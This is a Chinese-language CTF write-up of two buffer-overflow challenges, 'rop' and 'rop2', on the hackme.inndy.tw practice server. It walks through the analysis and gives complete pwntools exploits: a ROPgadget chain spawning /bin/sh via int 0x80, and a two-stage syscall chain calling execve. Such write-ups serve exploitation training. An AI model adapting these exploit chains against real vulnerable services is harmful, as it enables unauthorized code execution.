rop

hint: ROP buffer overflow
防护机制：

image.png

拖到IDA反编译一下

image.png

可以看到有很多函数，不管是用到的还是没用的都有，说明它编译时用的是静态连接
我们可以通过ROPgadget 来直接构造ropchain
命令为 ROPgadget --binary rop --ropchain

栈的大小可以通过peda的pattern search 来找到
先生成长度为100的字符串 pattern create 100
然后执行程序

image.png

栈的大小为12
exp:

from pwn import *  
from struct import pack  
sh = remote('hackme.inndy.tw',7704)  
junk = 'a'*12 + "BBBB" # junk + ebp  
  
p = junk  
p += pack('<I', 0x0806ecda) # pop edx ; ret  
p += pack('<I', 0x080ea060) # @ .data  
p += pack('<I', 0x080b8016) # pop eax ; ret  
p += '/bin'  
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret  
p += pack('<I', 0x0806ecda) # pop edx ; ret  
p += pack('<I', 0x080ea064) # @ .data + 4  
p += pack('<I', 0x080b8016) # pop eax ; ret  
p += '//sh'  
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret  
p += pack('<I', 0x0806ecda) # pop edx ; ret  
p += pack('<I', 0x080ea068) # @ .data + 8  
p += pack('<I', 0x080492d3) # xor eax, eax ; ret  
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret  
p += pack('<I', 0x080481c9) # pop ebx ; ret  
p += pack('<I', 0x080ea060) # @ .data  
p += pack('<I', 0x080de769) # pop ecx ; ret  
p += pack('<I', 0x080ea068) # @ .data + 8  
p += pack('<I', 0x0806ecda) # pop edx ; ret  
p += pack('<I', 0x080ea068) # @ .data + 8  
p += pack('<I', 0x080492d3) # xor eax, eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0806c943) # int 0x80  
  
sh.sendline(p)  
sh.interactive()

ROP2

hint：ROPgadget not working anymore
说明不可以再通过ROPgadget来获取ropchain了
检查下防护机制只开启了NX

简单运行了一下程序：

image.png

程序要求你输入一串字符串然后打印出了一堆东西

将程序拖到ida中，来一手f5大法

image.png

发现了syscall函数，查了一下发现程序中的syscall(4,1,&v4,42) 和syscall(3,0,&v1,1024) 分别调用了write()函数和read函数的系统调用

这一题的解题思路：
将syscall中的第一个参数设置为execve()函数的调用号，第二个参数设置为“/bin/sh”参数的地址来执行execve()获取shell
execve()函数的系统调用号为0xb

exp:

from pwn import*  
p = remote('hackme.inndy.tw',7703)  
elf = ELF('./rop2')  
bss = elf.bss()  
syscall = elf.symbols['syscall']  
overflow = elf.symbols['overflow']   
  
p.recv()  
payload = 'a'*0xC + 'bbbb' + p32(syscall) + p32(overflow) # junk + target_address  + return_address  
payload += p32(3) + p32(0) + p32(bss) + p32(8) #syscall(3,0,bss_add,8)  
p.send(payload)  
p.send("/bin/sh\x00")  
  
payload1 = 'a'*0xc + "BBBB" + p32(syscall)  
payload1 += p32(overflow)+ p32(0xb) + p32(bss) + p32(0) + p32(0)  #syscall(0xb,bss_add,0,0) = execve("bin/sh",0,0)  
  
p.send(payload1)  
p.interactive()